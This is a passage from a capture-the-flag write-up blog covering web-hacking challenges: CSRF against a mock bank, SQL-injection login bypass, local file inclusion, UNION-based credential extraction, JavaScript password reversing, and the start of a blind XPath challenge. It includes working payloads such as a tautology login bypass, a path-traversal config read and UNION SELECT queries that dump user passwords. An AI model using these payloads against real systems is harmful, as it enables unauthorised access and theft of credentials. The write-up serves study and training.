/>The MD5 hash of that key was the flag for this challenge.<br /><div class="separator" style="clear: both; text-align: left;"></div><h4>7. Cross-site Request Forgery (CSRF)</h4><div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlTR7cwu-6eaUcsusB4vaXxH_5FEfHh1785Opr_1LySugYSgdn2Le4WVwQp1SGBBW6Ed7jDZe9nRBbTNxEH6xDf8Z8f1XIS9ueBRnVXg9dtXXvhg9uesX9A7sCrbTwpY1aUpv7KZHNvlQ/s1600/Screenshot_4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlTR7cwu-6eaUcsusB4vaXxH_5FEfHh1785Opr_1LySugYSgdn2Le4WVwQp1SGBBW6Ed7jDZe9nRBbTNxEH6xDf8Z8f1XIS9ueBRnVXg9dtXXvhg9uesX9A7sCrbTwpY1aUpv7KZHNvlQ/s1600/Screenshot_4.png" /></a></div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;">This scenario of this challenge seemed unrealistic to me for many reasons. But who cares, right? The goal was to solve the challenge which I did.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">So the below hint was provided in the challenge details.</div><blockquote class="tr_bq"><div class="separator" style="clear: both; text-align: left;"><span style="color: #b45f06;">Hint: It's awesome when other people do things for you, isn't it?;)<br />The simulation of this hint, so the biggest part of this challenge is at "fake_user.php" file</span></div></blockquote>And the credentials of a user account were also given.<br /><br />The URL provided for this challenge had a small web application for bank management. There was a login page which can be seen in the screenshot below.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj52LycLsPsTxPvkQdZ8a__XbH8yzFdZfyzq1MOSGG3LKX7QfO0O0hoh3Rn7mWHJy-6HrtSwbwBuSv0t5kF-bE9hGj2Pv-c8SrFluQvlh_IUgBGDgaVT3gd8RLxzOaRqQTQzXTzIYm8VRk/s1600/Screenshot_5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="459" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj52LycLsPsTxPvkQdZ8a__XbH8yzFdZfyzq1MOSGG3LKX7QfO0O0hoh3Rn7mWHJy-6HrtSwbwBuSv0t5kF-bE9hGj2Pv-c8SrFluQvlh_IUgBGDgaVT3gd8RLxzOaRqQTQzXTzIYm8VRk/s1600/Screenshot_5.png" width="577" /></a></div><br />So I logged in using the provided credentials and noticed that a donation page existed which could be used to donate money to other members in the bank.<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiYteig-XydlCq9J16FbYkbCrvC8g5JdxRTGC0mfAAZ2FtUNia2iuBRfAC_SjSlV5kRUd6VdLIB0D0mcBSorFt1UmshOgQcHYoxg9qUoXPnUzSXx-ihxTCAu6wIjQXXJiCgGlwFfoSMto/s1600/Screenshot_6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiYteig-XydlCq9J16FbYkbCrvC8g5JdxRTGC0mfAAZ2FtUNia2iuBRfAC_SjSlV5kRUd6VdLIB0D0mcBSorFt1UmshOgQcHYoxg9qUoXPnUzSXx-ihxTCAu6wIjQXXJiCgGlwFfoSMto/s1600/Screenshot_6.png" /></a></div><div dir="ltr" style="text-align: left;" trbidi="on">The goal of this challenge was to become the richest in the bank. The user whose credentials were provided had $10 in account. And it was mentioned that the current richest person in the bank has <span class="color1">$1131.</span><br /><span class="color1"><br /></span></div><div dir="ltr" style="text-align: left;" trbidi="on"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpmxKAa4ZcAesaWhxFUonz79-zxAt2J0ufKkjK-BJWz7BxesuTcW55EdOOa3wkM3HrdsdOy7VEint-LtZrtv7Rrw1t6MExiRNx7T5bcy-4aLqn8JeGSREPAuevINOb5CYYGAUgY6B6CQ8/s1600/Screenshot_7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpmxKAa4ZcAesaWhxFUonz79-zxAt2J0ufKkjK-BJWz7BxesuTcW55EdOOa3wkM3HrdsdOy7VEint-LtZrtv7Rrw1t6MExiRNx7T5bcy-4aLqn8JeGSREPAuevINOb5CYYGAUgY6B6CQ8/s1600/Screenshot_7.png" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div dir="ltr" style="text-align: left;" trbidi="on"></div><div dir="ltr" style="text-align: left;" trbidi="on"></div><div dir="ltr" style="text-align: left;" trbidi="on"><span class="color1"> Oh and </span>there is a donation page? At this point I knew that it was the donation system which would be vulnerable. So I donated $5 to a random person (who shouldn't be tankful to me) to learn how it worked. <br /><br />It was discovered that that a request was generated to a page "sendmoney.php" with GET parameters that included sender, receiver, amount, etc. The original parameter names can be seen in below link:<br /><br /><blockquote class="tr_bq"><span style="color: blue;">/sendmoney.php?frommemberID=99999&memberID=1&member=John Smith&ammount=5 </span></blockquote>I tried to tamper the "frommemberID" parameter but the result was not a success. It seemed like the donation page was checking whether the "frommemberID" value matches with that of currently logged in user. The resulting page had this message:<br /><blockquote class="tr_bq"><span style="color: #b45f06;">So you want to steal money?? This is not the correct way!</span></blockquote>Then I remembered the hint i.e. fake_user.php. That page was a user simulator. It also had other (a little too much) information. Here is the information which was mentioned there:<br /><br /><blockquote class="tr_bq"><span style="color: #b45f06;">Welcome CSRF Master!</span> <span style="color: #b45f06;"><br />As you already know, the donation form is vulnerable to CSRF. </span> <span style="color: #b45f06;"><br /> You also know, that to become the richest in the bank and win the gorgeous prize you must steal some money from all the members in the bank. <br /> Hey, not too much...max $5 (the donation budget)! </span> <span style="color: #b45f06;"><br /> We know, and you too, that to do a CSRF attack we need a victim that follows our links. <br /> Well, to simplify we have made the following form. </span><br /><br /><span style="color: #b45f06;">This form simulate a user logged in his members area that clicks on a given link.</span></blockquote> Below this text, was a form which had a field to input the URL which victim would visit. To cut to the chase, the donation URL was meant to be submitted in the form on "fake_user.php" page. So I tested it by pasting the same URL that I had tried directly earlier and here was the result:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQwQ1TJSuy2CPu-cVcX2HC_pfA7Lu4n8lJ0418RsWYSlonPEc4c2EnJzIfjp_Dh7Zd5t740Ot2Q1R8ZAizk_JxsObhQLJOC5x5woir-Vk-UoDSmeZ3TU8RjU2r1o4VORakI8p09RPU3Fw/s1600/Screenshot_8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQwQ1TJSuy2CPu-cVcX2HC_pfA7Lu4n8lJ0418RsWYSlonPEc4c2EnJzIfjp_Dh7Zd5t740Ot2Q1R8ZAizk_JxsObhQLJOC5x5woir-Vk-UoDSmeZ3TU8RjU2r1o4VORakI8p09RPU3Fw/s1600/Screenshot_8.png" /></a></div></div><div dir="ltr" style="text-align: left;" trbidi="on">Then I checked the balance and it now had $5 more than the previous balance i.e. $10 which means in total it had $15. Now I had to steal another $1132 in order to be the richest in the bank. And $1132 divided by $5 (max donation amount allowed) equals 228 (users) but I already had $15 so 228 minus 15 = 212; this was the amount to users I had to steal from. It would have taken a long time submitting each URL manually (to steal $5 from each of the 212 users). So I coded a little PHP script which automated the task.<br /><br />Here is the code of that script:<br /><blockquote class="tr_bq"><span style="color: blue;">http://pastebin.com/raw.php?i=QbXDbJhp</span></blockquote>So after executing the script, I checked the balance page and this was the result:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDuz5CiHkMUsFZoLIiJwhmlln1bl9JsDb7bL86ub6XMEJ7P9wyNxQjmEuO_ugekQI0TOs8QHByss6tSJXQywbIhZFy-TRsIlqzJgVB9bZVFPgAvCO1tHSg7HbrAGlQawXYPyMl9WcKGIg/s1600/Screenshot_10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDuz5CiHkMUsFZoLIiJwhmlln1bl9JsDb7bL86ub6XMEJ7P9wyNxQjmEuO_ugekQI0TOs8QHByss6tSJXQywbIhZFy-TRsIlqzJgVB9bZVFPgAvCO1tHSg7HbrAGlQawXYPyMl9WcKGIg/s1600/Screenshot_10.png" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div></div><div dir="ltr" style="text-align: left;" trbidi="on">The MD5 checksum of the image displayed on the page was the flag for this challenge.<br /><div class="separator" style="clear: both; text-align: left;"></div><h4>6. Authentication Bypass (SQLi)</h4></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcSu_0QaUzNq1L9lKfjbSRtVI1wbdjQhXI52OJrmsZdQTBm76fGUVboKVbiqa8QyS4v_EC6cIZ07I55UmllbdFciQvRLPl1SPWsSknxy9ZE4065N30Bg1cNgtNORebiJATaX81ucw_y4c/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcSu_0QaUzNq1L9lKfjbSRtVI1wbdjQhXI52OJrmsZdQTBm76fGUVboKVbiqa8QyS4v_EC6cIZ07I55UmllbdFciQvRLPl1SPWsSknxy9ZE4065N30Bg1cNgtNORebiJATaX81ucw_y4c/s1600/2.png" /></a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">This challenge seemed more interesting than the previous bypass challenge (#9 in this list). Just like that challenge, a sign-in form could be seen on the front page (index.php).</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDOVkJof_UBJrnNaDTfV927jVImdT8ajwUbx93UfeIQo4d-__9asGvJwK56eVIvsKCjyHX7SFtk5w9FGXoq4-ENPTZeCNVSWlDs8ssMGvElT8gNdKG8_BxOFeAOsTFMcqFb3qTTvB78Bs/s1600/2.2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="301" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDOVkJof_UBJrnNaDTfV927jVImdT8ajwUbx93UfeIQo4d-__9asGvJwK56eVIvsKCjyHX7SFtk5w9FGXoq4-ENPTZeCNVSWlDs8ssMGvElT8gNdKG8_BxOFeAOsTFMcqFb3qTTvB78Bs/s1600/2.2.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">An ajax call to 'login.php' with POST parameters ('username' and 'password') was generated upon submitting the form. At first I expected it to be an easily discoverable but tricky SQL injection vulnerability but it turned out to be the opposite.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">It didn't take much time for me to figure out that the inputs (sent via POST method) were being filtered, restricting them to only alpha-numeric characters and spaces. At this point, it started to become interesting. After testing cookies and headers for possible SQL injection bugs, I stopped thinking like a pentester and thought like a programmer. After brain-storming for about 10 minutes, it occurred to me what if the programmer has made a mistake while filtering the input? With the hypothesis in mind that the programmer might be applying filter on only $_POST requests and using $_REQUEST in the query, I took the POST parameters and send them as GET parameters with an apostrophe and voila, an error appears on the page.</div><blockquote class="tr_bq"><div class="separator" style="clear: both; text-align: left;"><span style="color: #b45f06;"><i>Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'g00n' LIMIT 0,1' at line 5</i></span></div></blockquote>First I thought of extracting the admin username and password from the database; but I figured that was unnecessary if the authentication page could be bypassed with good old "<b>x' or 'x'='x</b>".<br /><blockquote class="tr_bq"><span style="color: blue;">/login.php?username=x' or 'x'='x&password=x' or 'x'='x</span></blockquote><br /><div class="separator" style="clear: both; text-align: left;">So upon sending GET request to login.php with the injection payload, a message was appeared on the page which said "<b>Correct loginCiro</b>". And the SESSID cookie was set in the browser.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Then I opened the main page which redirected to another page named private.php and that page had an image slider on it with five images.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">The MD5 checksums of four out of the total five images  were the flags for this challenge.</div><h4>5. Supposedly Analytical Test (bypassed via automation)</h4><br /><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwG17R0YGWdGaA7_sn4mLU3jwIvy9zfsR7Za10-hWNKkwqhuqyMQKQxIvFaPwhrlawop3TtvqnjIneENcofFKkdejq4Sb869WXy5hqf2VM6cFSsYwJdIJnC4F-arcpKsTZd5UK1F8YFQ0/s1600/Screenshot_11.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwG17R0YGWdGaA7_sn4mLU3jwIvy9zfsR7Za10-hWNKkwqhuqyMQKQxIvFaPwhrlawop3TtvqnjIneENcofFKkdejq4Sb869WXy5hqf2VM6cFSsYwJdIJnC4F-arcpKsTZd5UK1F8YFQ0/s1600/Screenshot_11.png" /></a></div><div class="separator" style="clear: both; text-align: left;">Okay, this was one weird challenge, lol. It was supposed to break my brains which it failed to achieve. Let me explain how.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">On the challenge page, it could be seen that we had to choose a minimum or maximum number (randomly displayed on page) from a list of numbers which is also displayed on the page. Initial score was zero. </div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQZO_9muIU-9xJJJrpQskR88Y_aLYz0D5rlo4sEFVHpwtWtakfA0QwUWBdfSwqTvrjmKXue8wZ5WA-d00tMgy8C0ioha78q_9znMELP0UUo_ZwH1BYtM2qDiSLogKtBU6-PjRlPtbICBk/s1600/Screenshot_13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQZO_9muIU-9xJJJrpQskR88Y_aLYz0D5rlo4sEFVHpwtWtakfA0QwUWBdfSwqTvrjmKXue8wZ5WA-d00tMgy8C0ioha78q_9znMELP0UUo_ZwH1BYtM2qDiSLogKtBU6-PjRlPtbICBk/s1600/Screenshot_13.png" /></a></div><div class="separator" style="clear: both; text-align: left;">The session expires after 120 seconds which makes the score reset to zero. One wrong answer and the score becomes zero. Choosing a minimum or maximum between two numbers? Should be easy, huh?</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">But wait, number of numbers increase as the score increases which means when score becomes one, there are three numbers to choose from and when the score becomes two, four numbers are displayed to choose from. Still seems doable, right? Okay, let's mix the negative and positive numbers and then let the game begin.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">When score reaches 10, there are 13 numbers both positive and negative and we had to choose a minimum or maximum from them. And still we did not how much score was required to win the game, so an ideal solution was automation.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">I coded a PHP script to auto determine and submit the answers and stop when the key is found.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Here is the code of that PHP script:</div><blockquote class="tr_bq"><div class="separator" style="clear: both; text-align: left;"><span style="color: blue;">http://pastebin.com/raw.php?i=WfWv4zKf</span></div></blockquote> The result that this script generated can be seen in the screenshot below.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKXOUqKbs18zGyVLQAKn-QAecR6JC27593pJSGrio17out7wnBbX26tDlkSDuMnuGVuHnbucbBitxlKI8Hct5FLNSOpvRLn69wJE94tPQ0rCbGHoklF_pGXF263atuboyhfa-6VS-wo-k/s1600/Screenshot_14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKXOUqKbs18zGyVLQAKn-QAecR6JC27593pJSGrio17out7wnBbX26tDlkSDuMnuGVuHnbucbBitxlKI8Hct5FLNSOpvRLn69wJE94tPQ0rCbGHoklF_pGXF263atuboyhfa-6VS-wo-k/s1600/Screenshot_14.png" /></a></div><br />It turned out that the key is displayed when the score becomes more than 50.<br /><br />The MD5 hash of that key was the flag for this challenge.<br /><br /><br /><b>4. Reversing JavaScript Code</b><br /><br /><div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEji8U13_nc7sIMZapXv2GmyHggXSj47rkN-dtAu14oc_cZI3l1iu0wUMzBDA7vtaRhR_OEprCUz6k-N3H6NyB49eEBzqBdWskecdhYRFDdBcty2WxYdwDefj7m1hHKDD2w7KFOUsK_Oqj0/s1600/Screenshot_15.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEji8U13_nc7sIMZapXv2GmyHggXSj47rkN-dtAu14oc_cZI3l1iu0wUMzBDA7vtaRhR_OEprCUz6k-N3H6NyB49eEBzqBdWskecdhYRFDdBcty2WxYdwDefj7m1hHKDD2w7KFOUsK_Oqj0/s1600/Screenshot_15.png" /> </a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">This challenge was interesting. It was like a riddle with a little twist.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">A hint was provided in the description of the flag which said:</div><div class="separator" style="clear: both; text-align: left;"></div><blockquote class="tr_bq"><div class="separator" style="clear: both; text-align: left;"><span style="color: #b45f06;">This challenge has more than 150 solutions, but are you able to find the one that starts with <b>«#</b>? If yes, give me the MD5 of that value!</span></div></blockquote><div class="separator" style="clear: both; text-align: left;"> The main page (main.html) of this challenge had a sing-in form. Upon submitting the form, a JavaScript function (namely "ReverseCheck") was called which checked whether the entered password was correct or not. Username was predefined as "admin" in the same function.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtHxdALociR50NugHMC4PBG9k6ChNTf09RsdYnMSqhFmJssOQ94pj1cloDx-7ghAkhGilnXcm7X5_L5IE-wWVf8URRGD1v9V6sIoNIizgrZLn67fkexy4pYB5LW6G5-wt75Q0h4CjoWXg/s1600/Screenshot_16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtHxdALociR50NugHMC4PBG9k6ChNTf09RsdYnMSqhFmJssOQ94pj1cloDx-7ghAkhGilnXcm7X5_L5IE-wWVf8URRGD1v9V6sIoNIizgrZLn67fkexy4pYB5LW6G5-wt75Q0h4CjoWXg/s1600/Screenshot_16.png" /> </a> </div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Here is the JavaScript code which existed in the same page.</div><blockquote class="tr_bq"><div class="separator" style="clear: both; text-align: left;"><span style="color: blue;">http://pastebin.com/raw.php?i=7kC5cvjh </span></div></blockquote>From this line, it was understood that the username was "admin.<br /><blockquote class="tr_bq"><div class="de1"><span style="color: red;">  if(document.getElementById("utb").value=="admin")</span></div></blockquote>The next line in the JS code told that the password length should be 7.<br /><blockquote class="tr_bq"><span style="color: red;">if(document.getElementById("ptb").value.length!=7)</span></blockquote>Now comes the interesting part. It can be seen in the JS code that an "if" statement is used to verify the entered password which has six conditions combined with logical AND (&&) operator. So I analyzed the first condition this way.<br /><blockquote class="tr_bq"><span style="color: red;">document.getElementById("ptb").value.charCodeAt(0) + document.getElementById("ptb").value.charCodeAt(1)==206</span></blockquote> It's worth mentioned here that the JavaScript "charCodeAt" function returns the Unicode value of the character at the specified index in a string.<br /><br />This code tells that the sum of the Unicode values of the first and second characters of our password should be equal to 206. Let's have a look at the second condition.<br /><blockquote class="tr_bq"><span style="color: red;">document.getElementById("ptb").value.charCodeAt(1) + document.getElementById("ptb").value.charCodeAt(2) == 201</span></blockquote>This condition says that the Unicode values of the first and second characters of our password should be equal to 201. <br /><br />Rest of the four conditions follow the same pattern. The password could be easily calculated via simple plus, minus. But we had to calculate the password that started with «# as first two characters of the password.<br /><br />So,<br /><br />the Unicode of « is 171<br />the Unicode of # is 35<br /><br />171 +  35 = 206<br /><br />Following this pattern, let's try to find out the third character using the second condition which says that the Unicode values of the first and second characters of our password should be equal to 201.<br /><br />We know the second character, don't we? The Unicode of second character is 35.<br /><br />So,<br /><br /> 201 - 35 = 166<br /><br />This tells us that the character at the Unicode 166 in the third character of required password which is "|".<br /><br />So far the first three characters of our password are « # and |<br /><br />Following this pattern, we could manually calculate the password but some of the characters were unprintable so it was better to calculate using small code.<br /><br /><div style="text-align: left;">So after calculations, I got the following Unicode values of the password: </div><blockquote class="tr_bq"><ol style="text-align: left;"><li><span style="color: #b45f06;">171 </span></li><li><span style="color: #b45f06;">35 </span></li><li><span style="color: #b45f06;">166 </span></li><li><span style="color: #b45f06;">18 </span></li><li><span style="color: #b45f06;">159 </span></li><li><span style="color: #b45f06;">21 </span></li><li><span style="color: #b45f06;">177</span></li></ol></blockquote>So I just used the JavaScript "fromCharCode" function which converts Unicode values into characters to calculate the password and then its MD5 hash.<br /><br />Here is the little piece of JS code I wrote: <br /><blockquote class="tr_bq"><span style="color: blue;">http://pastebin.com/raw.php?i=FU1wsPXw </span></blockquote> Here is the output:<br /><blockquote class="tr_bq"><span style="color: red;">0d6162bd63d6802283fa0c16514dc271</span></blockquote>So this MD5 hash was the flag for this challenge. <br /><br /><div style="text-align: left;"></div><h4> 3. Multi-level (LFI, SQLi, Decoding, etc)</h4><br /><br /><div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSnLHb-XTRMOBdxzmT5VzHKkwRQYdnA79jQ-opUNv1Ty4QhAEb97cXG3WeU6Rakn6iT__KMzLGO9ngtYickB-HddAk5Lwjfh_cXIn_XZnf9N9Yhhbb0R_qnOgMuUaVlgJvKrJYf5QiKZA/s1600/Screenshot_17.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSnLHb-XTRMOBdxzmT5VzHKkwRQYdnA79jQ-opUNv1Ty4QhAEb97cXG3WeU6Rakn6iT__KMzLGO9ngtYickB-HddAk5Lwjfh_cXIn_XZnf9N9Yhhbb0R_qnOgMuUaVlgJvKrJYf5QiKZA/s1600/Screenshot_17.png" /></a></div><br />This challenge was fun to solve. Specially the last stage where the password hash needs to be decoded into plain-text. I will be very precise about explaining it because it's kind of lengthy.<br /><br />It had different stages and a flag was provided at each stage.<br /><br /><h4 style="text-align: left;">Stage #1:<br /> </h4>At first stage, I had to perform simple LFI. The application was designed in such a way that the name of child pages were mentioned in the URL and those pages were included into the parent page at run-time.<br /><br />Here is the URL that I noticed at first:<br /><blockquote class="tr_bq"><span style="color: blue;">/about.php?a=industrialization</span></blockquote>After some attempts, I discovered that a config file (config.php) existed in a directory named "config" which was located in the parent directory of current location. So I simply used the following URL to read the contents of config file:<br /><br /><blockquote class="tr_bq"><span style="color: red;">/about.php?a=../config/config.php</span></blockquote>The output said:  "Ops, where is the salt?! Yes it is here...."<br /><br />A salt was actually mentioned in an HTML comment which could be seen by viewing the source code of the page.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGH7JMMxXdZ27jOn8WLskJR9GqCSCee5YY_fGzbVaLmZynThnJr2r7xAT5hbXBVbx3mdYyy4ydpVomqj7-sP6v9rLw8Tiic8x7KA9wUEsDafWlgsKpNdjysM-fx7L5Nyzrc6BiY28hhg4/s1600/Screenshot_18.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGH7JMMxXdZ27jOn8WLskJR9GqCSCee5YY_fGzbVaLmZynThnJr2r7xAT5hbXBVbx3mdYyy4ydpVomqj7-sP6v9rLw8Tiic8x7KA9wUEsDafWlgsKpNdjysM-fx7L5Nyzrc6BiY28hhg4/s1600/Screenshot_18.png" /> </a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">The MD5 hash of this salt of the flag for this stage. I had to enter this salt in a page to unlock the second stage.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><h4 class="separator" style="clear: both; text-align: left;">Stage #2:</h4><div class="separator" style="clear: both; text-align: left;"></div><div class="separator" style="clear: both; text-align: left;">This stage was a simple SQL injection. Another page (beer.php) was unlocked after entering the salt which was discovered in first stage and that page had some link. The "id" parameter of the first link was vulnerable to SQLi. </div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">On performing the SQLi (just putting a ' in the URL), another page was unlocked with the name "Kelly Green". An MD5 hash was required entered on that page. It was kind of obvious that I had to enter the password hash to the user named "Kelly Green" there. I extracted users information from the database using the below link.</div><blockquote class="tr_bq"><span style="color: blue;">/beer.php?id=1' union select 1,CONCAT_WS(CHAR(32,58,32),id,name,surname,username,password),3 from users where name="kelly" and surname="green" and 'x'='x</span></blockquote>Here is the output:<br /><blockquote class="tr_bq"><span style="color: #b45f06;">22 : Kelly : Green : S0ZH8BR22J5 : UzA5T05UWTRkZnNhNzgwZnNkNmI3OGY2YmRzNmFmdDg3NmFzZDY1OGE=</span></blockquote>So after entering this hash, the final stage was unlocked.<br /><br /><h4 style="text-align: left;">Stage #3:</h4>In second stage, we extracted the password hash of Kelly Green. So in this last stage, the hash needed to be cracked/decoded and I was required to enter the plain-text password of Kelly Green.<br /><br />This stage would have been fun if the hint was not provided right above the input field. The hint said: <br /><blockquote class="tr_bq"><span style="color: #b45f06;"><i>As you can see, the dbms is MySQL. In this dbms the comments on tables are stored into the INFORMATION_SCHEMA db, inside the table TABLE.</i>  </span></blockquote>This hint made pretty obvious that the encoding or encryption algorithm was stored in the table comments. So I used the following query to extract the contents of the comment of table "users". <br /><blockquote class="tr_bq"><span style="color: #b45f06;">/beer.php?id=1' union select 1,table_comment,3 from information_schema.tables where table_schema=database() and table_name="users" and 'x'='x </span></blockquote>Here is the output: <br /><blockquote class="tr_bq"><span style="color: #b45f06;">password = base64(base64(password) + salt) </span></blockquote> So I had the salt which I extracted in first stage and I had the password hash which I extracted in the second stage. And I had this algorithm. It took only a few seconds to decode the hash and get its plain-text.<br /><br />The plain-text password (i,e. "KON568" was the third flag for this challenge. <br /><br />Upon submitting the password, a GIF image was displayed on the page.<br /><br />The MD5 checksum of that image was the final flag for this challenge.<br /><br /><br /><h4>2. Blind XPath Injection </h4><br /><br /><div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_HtBrpwceHDyRiC53qLio4SpudVD91zx-hUu5XeuTFNgGFVDmXtzCNsN8efaoTmPCtXcQ8LKh1vy3S6zFcg_ka6lh1-oeAlZ3jpTJ5OBh8LTeerc1IVahkPZcm7t1UNO5gUNBFydePvc/s1600/Screenshot_19.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_HtBrpwceHDyRiC53qLio4SpudVD91zx-hUu5XeuTFNgGFVDmXtzCNsN8efaoTmPCtXcQ8LKh1vy3S6zFcg_ka6lh1-oeAlZ3jpTJ5OBh8LTeerc1IVahkPZcm7t1UNO5gUNBFydePvc/s1600/Screenshot_19.png" /></a></div><br />This challenge was easy but it was time-taking. Anyone familiar with blind exploitation of such injections will understand why. <br /><br />The goal was defined in the challenge description as follows:<br /><blockquote class="tr_bq"><span style="color: #b45f06;"><b>Your goal:</b> find the secret hidden among the information sent by a special customer.</span></blockquote>This challenge had a small PHP application for a restaurant website. Two of the total three pages had nothing of a pen-tester's interest but the third page had a form for seat reservation. It has had a link to another page to check the status of a reservation by providing email and phone.<br /><br />First thing I did was reserve a seat for myself using that reservation form and while doing so, I tested if any parameter was vulnerable which was not the case. But at least I reserved a seat for myself in "one of the most important restaurants in the world," as described in the challenge information.<br /><br />Anyway after doing so, I opened the page to to check my reservation. The page had a form which looked like this:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT89hUjzCtjpeSi2xVi1b_neV8ZcPvCQZjhdWK9qIEluc4RI6C-BQhLIMJiuQa_RG9YPnhbD4PlA-9RbkFjsvctwbbEmBZm_oTcqBL8gKXyBrS7xLZgo6BKVZDQNwzrNKnDCV3FPfIAx8/s1600/Screenshot_20.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="219" 